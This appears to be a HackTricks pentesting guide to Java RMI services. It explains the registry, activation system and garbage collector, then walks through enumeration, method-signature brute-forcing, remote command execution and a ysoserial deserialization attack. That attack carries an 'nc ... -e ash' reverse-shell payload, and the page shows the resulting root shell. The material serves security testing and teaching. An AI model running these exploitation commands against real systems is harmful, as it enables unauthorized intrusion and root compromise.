1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Support HackTricks and get benefits!
Basic Information
Java Remote Method Invocation, or Java RMI, is an object oriented RPC mechanism that allows an object located in one Java virtual machine to call methods on an object located in another Java virtual machine. This enables developers to write distributed applications using an object-oriented paradigm. A short introduction to Java RMI from an offensive perspective can be found in this blackhat talk.
Default port: 1090,1098,1099,1199,4443-4446,8999-9010,9999
1
PORT      STATE SERVICE      VERSION
2
1090/tcp  open  ssl/java-rmi Java RMI
3
9010/tcp  open  java-rmi     Java RMI
4
37471/tcp open  java-rmi     Java RMI
5
40259/tcp open  ssl/java-rmi Java RMI
Copied!
Usually, only the default Java RMI components (the RMI Registry and the Activation System) are bound to common ports. The remote objects that implement the actual RMI application are usually bound to random ports as shown in the output above.
nmap has sometimes troubles identifying SSL protected RMI services. If you encounter an unknown ssl service on a common RMI port, you should further investigate.
RMI Components
To put it in simple terms, Java RMI allows a developer to make a Java object available on the network. This opens up a TCP port where clients can connect and call methods on the corresponding object. Despite this sounds simple, there are several challenges that Java RMI needs to solve:
1.To dispatch a method call via Java RMI, clients need to know the IP address, the listening port, the implemented class or interface and the ObjID of the targeted object (the ObjID is a unique and random identifier that is created when the object is made available on the network. It is required because Java RMI allows multiple objects to listen on the same TCP port).
2.Remote clients may allocate resources on the server by invoking methods on the exposed object. The Java virtual machine needs to track which of these resources are still in use and which of them can be garbage collected.
The first challenge is solved by the RMI registry, which is basically a naming service for Java RMI. The RMI registry itself is also an RMI service, but the implemented interface and the ObjID are fixed and known by all RMI clients. This allows RMI clients to consume the RMI registry just by knowing the corresponding TCP port.
When developers want to make their Java objects available within the network, they usually bind them to an RMI registry. The registry stores all information required to connect to the object (IP address, listening port, implemented class or interface and the ObjID value) and makes it available under a human readable name (the bound name). Clients that want to consume the RMI service ask the RMI registry for the corresponding bound name and the registry returns all required information to connect. Thus, the situation is basically the same as with an ordinary DNS service. The following listing shows a small example:
1
import java.rmi.registry.Registry;
2
import java.rmi.registry.LocateRegistry;
3
import lab.example.rmi.interfaces.RemoteService;
4
​
5
public class ExampleClient {
6
​
7
  private static final String remoteHost = "172.17.0.2";
8
  private static final String boundName = "remote-service";
9
​
10
  public static void main(String[] args)
11
  {
12
    try {
13
      Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
14
      RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
15
      String response = ref.remoteMethod();                           // Call a remote method
16
    
17
    } catch( Exception e) {
18
      e.printStackTrace();
19
    }
20
  }
21
}
Copied!
The second of the above mentioned challenges is solved by the Distributed Garbage Collector (DGC). This is another RMI service with a well known ObjID value and it is available on basically each RMI endpoint. When an RMI client starts to use an RMI service, it sends an information to the DGC that the corresponding remote object is in use. The DGC can then track the reference count and is able to cleanup unused objects.
Together with the deprecated Activation System, these are the three default components of Java RMI:
1.The RMI Registry (ObjID = 0)
2.The Activation System (ObjID = 1)
3.The Distributed Garbage Collector (ObjID = 2)
The default components of Java RMI have been known attack vectors for quite some time and multiple vulnerabilities exist in outdated Java versions. From an attacker perspective, these default components are interisting, because they implemented known classes / interfaces and it is easily possible to interact with them. This situation is different for custom RMI services. To call a method on a remote object, you need to know the corresponding method signature in advance. Without knowing an existing method signature, there is no way to communicate to a RMI service.
RMI Enumeration
​remote-method-guesser is a Java RMI vulnerability scanner that is capable of identifying common RMI vulnerabilities automatically. Whenever you identify an RMI endpoint, you should give it a try:
1
$ rmg enum 172.17.0.2 9010
2
[+] RMI registry bound names:
3
[+]
4
[+] 	- plain-server2
5
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
6
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
7
[+] 	- legacy-service
8
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
9
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
10
[+] 	- plain-server
11
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
12
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
13
[+]
14
[+] RMI server codebase enumeration:
15
[+]
16
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
17
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
18
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
19
[+]
20
[+] RMI server String unmarshalling enumeration:
21
[+]
22
[+] 	- Caught ClassNotFoundException during lookup call.
23
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
24
[+] 	  Configuration Status: Outdated
25
[+]
26
[+] RMI server useCodebaseOnly enumeration:
27
[+]
28
[+] 	- Caught MalformedURLException during lookup call.
29
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
30
[+] 	  Configuration Status: Non Default
31
[+]
32
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
33
[+]
34
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
35
[+] 	  Vulnerability Status: Vulnerable
36
[+]
37
[+] RMI Security Manager enumeration:
38
[+]
39
[+] 	- Security Manager rejected access to the class loader.
40
[+] 	  --> The server does use a Security Manager.
41
[+] 	  Configuration Status: Current Default
42
[+]
43
[+] RMI server JEP290 enumeration:
44
[+]
45
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
46
[+] 	  Vulnerability Status: Non Vulnerable
47
[+]
48
[+] RMI registry JEP290 bypass enmeration:
49
[+]
50
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
51
[+] 	  Vulnerability Status: Vulnerable
52
[+]
53
[+] RMI ActivationSystem enumeration:
54
[+]
55
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
56
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
57
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default
Copied!
The output of the enumeration action is explained in more detail in the documentation pages of the project. Depending on the outcome, you should try to verify identified vulnerabilities.
The ObjID values displayed by remote-method-guesser can be used to determine the uptime of the service. This may allows to identify other vulnerabilities:
1
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
2
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
3
[+]
4
[+] ObjNum: 		-4004948013687638236
5
[+] UID:
6
[+] 	Unique: 	1442798173
7
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
8
[+] 	Count: 		-32760
Copied!
Bruteforcing Remote Methods
Even when no vulnerabilities have been identified during enumeration, the available RMI services could still expose dangerous functions. Furthermore, despite RMI communication to RMI default components is protected by deserialization filters, when talking to custom RMI services, such filters are usually not in place. Knowing valid method signatures on RMI services is therefore valuable.
Unfortunately, Java RMI does not support enumerating methods on remote objects. That being said, it is possible to bruteforce method signatures with tools like remote-method-guesser or rmiscout:
1
$ rmg guess 172.17.0.2 9010
2
[+] Reading method candidates from internal wordlist rmg.txt
3
[+] 	752 methods were successfully parsed.
4
[+] Reading method candidates from internal wordlist rmiscout.txt
5
[+] 	2550 methods were successfully parsed.
6
[+]
7
[+] Starting Method Guessing on 3281 method signature(s).
8
[+]
9
[+] 	MethodGuesser is running:
10
[+] 		--------------------------------
11
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
12
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
13
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
14
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
15
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
16
[+] 		[6562 / 6562] [#####################################] 100%
17
[+] 	done.
18
[+]
19
[+] Listing successfully guessed methods:
20
[+]
21
[+] 	- plain-server2 == plain-server
22
[+] 		--> String execute(String dummy)
23
[+] 		--> String system(String dummy, String[] dummy2)
24
[+] 	- legacy-service
25
[+] 		--> void logMessage(int dummy1, String dummy2)
26
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
27
[+] 		--> String login(java.util.HashMap dummy1)
Copied!
Identified methods can be called like this:
1
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar 
2
[+] uid=0(root) gid=0(root) groups=0(root)
Copied!
Or you can perform deserialization attacks like this:
1
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
2
[+] Creating ysoserial payload... done.
3
[+]
4
[+] Attempting deserialization attack on RMI endpoint...
5
[+]
6
[+] 	Using non primitive argument type java.lang.String on position 0
7
[+] 	Specified method signature is String execute(String dummy)
8
[+]
9
[+] 	Caught ClassNotFoundException during deserialization attack.
10
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
11
[+] 	Deserialization attack probably worked :)
12
​
13
$ nc -vlp 4444
14
Ncat: Version 7.92 ( https://nmap.org/ncat )
15
Ncat: Listening on :::4444
16
Ncat: Listening on 0.0.0.0:4444
17
Ncat: Connection from 172.17.0.2.
18
Ncat: Connection from 172.17.0.2:45479.
19
id
20
uid=0(root) gid=0(root) groups=0(root)
Copied!
More information can be found in these articles:
​Attacking Java RMI services after JEP 290​
​Method Guessing​
​remote-method-guesser​
​rmiscout​
Apart from guessing, you should also look in search engines or GitHub for the interface or even the implementation of an encountered RMI service. The bound name and the name of the implemented class or interface can be helpful here.
Known Interfaces
​remote-method-guesser marks classes or interfaces as known if they are listed in the tool's internal database of known RMI services. In these cases you can use the known action to get more information on the corresponding RMI service:
1
$ rmg enum 172.17.0.2 1090 | head -n 5
2
[+] RMI registry bound names:
3
[+]
4
[+] 	- jmxrmi
5
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
6
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
7
​
8
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
9
[+] Name:
10
[+] 	JMX Server
11
[+]
12
[+] Class Name:
13
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
14
[+] 	- javax.management.remote.rmi.RMIServer
15
[+]
16
[+] Description:
17
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
18
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
19
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
20
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
21
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
22
[+]
23
[+] Remote Methods:
24
[+] 	- String getVersion()
25
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
26
[+]
27
[+] References:
28
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
29
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
30
[+]
31
[+] Vulnerabilities:
32
[+]
33
[+] 	-----------------------------------
34
[+] 	Name:
35
[+] 		MLet
36
[+]
37
[+] 	Description:
38
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
39
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
40
[+] 		is therefore most of the time equivalent to remote code execution.
41
[+]
42
[+] 	References:
43
[+] 		- https://github.com/qtc-de/beanshooter
44
[+]
45
[+] 	-----------------------------------
46
[+] 	Name:
47
[+] 		Deserialization
48
[+]
49
[+] 	Description:
50
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
51
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
52
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
53
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
54
[+]
55
[+] 	References:
56
[+] 		- https://github.com/qtc-de/beanshooter
Copied!
Shodan
port:1099 java
Tools
​remote-method-guesser​
​rmiscout​
​BaRMIe​
HackTricks Automatic Commands
1
Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
2
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
3
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out
4
​
5
Entry_1:
6
  Name: Enumeration
7
  Description: Perform basic enumeration of an RMI service
8
  Command: rmg enum {IP} {PORT}
Copied!
Support HackTricks and get benefits!

Network Services Pentesting - Previous

1080 - Pentesting Socks

Next - Network Services Pentesting

1433 - Pentesting MSSQL - Microsoft SQL Server

Last modified 18d ago

Copy link

Contents

Basic Information

RMI Components

RMI Enumeration

Bruteforcing Remote Methods

Known Interfaces

Shodan

Tools

HackTricks Automatic Commands